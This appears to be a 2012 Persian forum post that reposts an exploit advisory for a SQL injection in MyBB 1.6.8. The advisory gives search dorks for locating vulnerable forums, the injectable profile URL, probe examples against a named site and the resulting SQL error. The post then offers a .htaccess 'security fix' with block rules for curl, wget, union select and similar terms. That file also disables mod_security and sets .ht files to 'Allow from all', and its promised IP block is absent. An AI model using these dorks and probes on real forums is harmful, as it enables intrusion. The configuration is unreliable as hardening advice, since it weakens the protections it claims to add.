• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: پیدا شدن باگ sql injection در Mybb !
حالت خطی
#1
درود

متاسفانه سایت mybb هک شد و همینجور خیلی ها روی اوردن به پیدا کردن باگ از mybb

باگ بسیار خطرناک sql injection که در ورژن 1.6.8 mybb هم دیده شده است !

نگاهی به بررسی اکسپلویت زیر میکنیم :

کد:
-------------------- IN The NAme OF God --------------------


-====MyBB 1.6.8 Sql Injection Vulnerability====-

# Exploit Title: MyBB 1.6.8 Sql Injection Vulnerability
# Exploit Author: Mr.XpR
# Tested on: BackTrack
# Script Site : http://mybb.com
# MAil : No0PM[at]yahoo[dot]com

-====Dork====-

inurl:member.php?action=profile&uid=

inurl:action=profile&uid=

-====Exploit====-

http://www.Site.com/forums/member.php?action=profile&uid=[Sqli]

-====Example====-

http://www.mihanhack.com/forums/member.php?action=profile&uid='

http://www.mihanhack.com/forums/member.php?action=profile&uid=9'



-====information====-

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0'' at line 1
Query:
SELECT * FROM mybb_adv_ratings WHERE fuid='9'' AND uid='0'

-====Tnx To====-

Just Persian Gulf ~~~~ > W3 Are Persian Hackerz

MMT- Syamak Black - Samim.s - FarbodEZRaeL - Inj3Ctor - UnknowN

Yaghi.Vahshi - HELLBOY - IrIsT - Black King - Monfared - Sokote_Vahshat ...

And All IraNHAck Security Team Members

iranhack.org



لینک اثبات :

[عکس: i4d5uyn1b3ln5dar3jaj.jpg]



خوب در طی اقدامی .htaccess رو برای شما به نمایش میزارم که بیشتر دستورات xss sql injection lfi و بسیاری از موارد امنیتی دیگر برطرف میشه و همچنین باگ بالا هم fix میشه

همچنین باگ های دیگه هم پیدا کردم که ریپورت میدم .

High Security Mybb

Fix Bug Sql Injection

Public By : ParsIcoders.com

Copy Paste .htaccess To Public_Html

.htaccess Code:

کد:
#public by : www.parsicoders.com (amin mansouri)
#Block Arab Ip ,High Security Mybb ;-) (anti sql injection , anti xss ,anti lfi ,and....)
Options -Indexes
Options -MultiViews
IndexIgnore *
ErrorDocument 404 /error_pages/404.html
# Protect the config.php file
<files config.php>
Order deny,allow
deny from all
</files>
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteBase /
RewriteCond %{THE_REQUEST} !^[A-Z]{3,9}\ [a-zA-Z0-9\.\+_/\-\?\=\&]+\ HTTP/ [NC]
RewriteRule .* - [F,NS,L]
RewriteCond %{QUERY_STRING} (\|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)|(sf)+(tp)+(://|s://)+.*(\?\?)+ [NC,OR]
RewriteCond %{QUERY_STRING} !redirect_to [NC]
RewriteCond %{QUERY_STRING} !continue [NC]
RewriteCond %{QUERY_STRING} .*=http.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=https.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=ftp.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=sftp.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*jos_.* [NC,OR]
RewriteCond %{QUERY_STRING} .*users\+where\+gid.* [NC,OR]
RewriteCond %{QUERY_STRING} .*proc/self/environ.* [NC,OR]
RewriteCond %{QUERY_STRING} .*union\+select.* [NC,OR]
RewriteCond %{QUERY_STRING} .*perl\+.* [NC,OR]
RewriteCond %{QUERY_STRING} .*curl\+.* [NC,OR]
RewriteCond %{QUERY_STRING} .*SQL.* [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]
RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_COOKIE}     ^.*(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|”>|”<|/|\\\.\.\\).{0,9999}.* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(;|<|>|’|”|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC]
RewriteCond %{QUERY_STRING} base64_encode.*(.*) [OR]
RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
RewriteCond %{QUERY_STRING} http://([a-zA-Z0-9_\-]*) [NC,OR]
RewriteCond %{QUERY_STRING} http:/([a-zA-Z0-9_\-]*) [NC,OR]
RewriteCond %{QUERY_STRING} cmd= [NC,OR]
RewriteCond %{QUERY_STRING} &cmd [NC,OR]
RewriteCond %{QUERY_STRING} exec [NC,OR]
RewriteCond %{QUERY_STRING} execu [NC,OR]
RewriteCond %{QUERY_STRING} concat [NC]
RewriteRule ^.* - [F]
RewriteCond %{QUERY_STRING} UNION([%20\ /\*+]*)ALL([%20\ /\*+]*)SELECT [NC,OR]
RewriteCond %{QUERY_STRING} UNION([%20\ /\*+]*)SELECT [NC,OR]
RewriteCond %{QUERY_STRING} /\* [NC,OR]
RewriteCond %{QUERY_STRING} \*/ [NC]
RewriteRule ^forum-([0-9]+)\.html$ forumdisplay.php?fid=$1 [L,QSA]
RewriteRule ^forum-([0-9]+)-page-([0-9]+)\.html$ forumdisplay.php?fid=$1&page=$2 [L,QSA]
RewriteRule ^thread-([0-9]+)\.html$ showthread.php?tid=$1 [L,QSA]
RewriteRule ^thread-([0-9]+)-page-([0-9]+)\.html$ showthread.php?tid=$1&page=$2 [L,QSA]
RewriteRule ^thread-([0-9]+)-lastpost\.html$ showthread.php?tid=$1&action=lastpost [L,QSA]
RewriteRule ^thread-([0-9]+)-nextnewest\.html$ showthread.php?tid=$1&action=nextnewest [L,QSA]
RewriteRule ^thread-([0-9]+)-nextoldest\.html$ showthread.php?tid=$1&action=nextoldest [L,QSA]
RewriteRule ^thread-([0-9]+)-newpost\.html$ showthread.php?tid=$1&action=newpost [L,QSA]
RewriteRule ^thread-([0-9]+)-post-([0-9]+)\.html$ showthread.php?tid=$1&pid=$2 [L,QSA]
RewriteRule ^post-([0-9]+)\.html$ showthread.php?pid=$1 [L,QSA]
RewriteRule ^announcement-([0-9]+)\.html$ announcements.php?aid=$1 [L,QSA]
RewriteRule ^user-([0-9]+)\.html$ member.php?action=profile&uid=$1 [L,QSA]
RewriteRule ^calendar-([0-9]+)\.html$ calendar.php?calendar=$1 [L,QSA]
RewriteRule ^calendar-([0-9]+)-year-([0-9]+)\.html$ calendar.php?action=yearview&calendar=$1&year=$2 [L,QSA]
RewriteRule ^calendar-([0-9]+)-year-([0-9]+)-month-([0-9]+)\.html$ calendar.php?calendar=$1&year=$2&month=$3 [L,QSA]
RewriteRule ^calendar-([0-9]+)-year-([0-9]+)-month-([0-9]+)-day-([0-9]+)\.html$ calendar.php?action=dayview&calendar=$1&year=$2&month=$3&day=$4 [L,QSA]
RewriteRule ^calendar-([0-9]+)-week-(n?[0-9]+)\.html$ calendar.php?action=weekview&calendar=$1&week=$2 [L,QSA]
RewriteRule ^event-([0-9]+)\.html$ calendar.php?action=event&eid=$1 [L,QSA]
</IfModule>

<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE application/javascript text/css text/html text/xml
</IfModule>

I Love You Mybb
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


پیام‌های این موضوع
پیدا شدن باگ sql injection در Mybb ! - توسط Amin_Mansouri - 06-06-2012، 03:44 PM

پرش به انجمن:


Browsing: 2 مهمان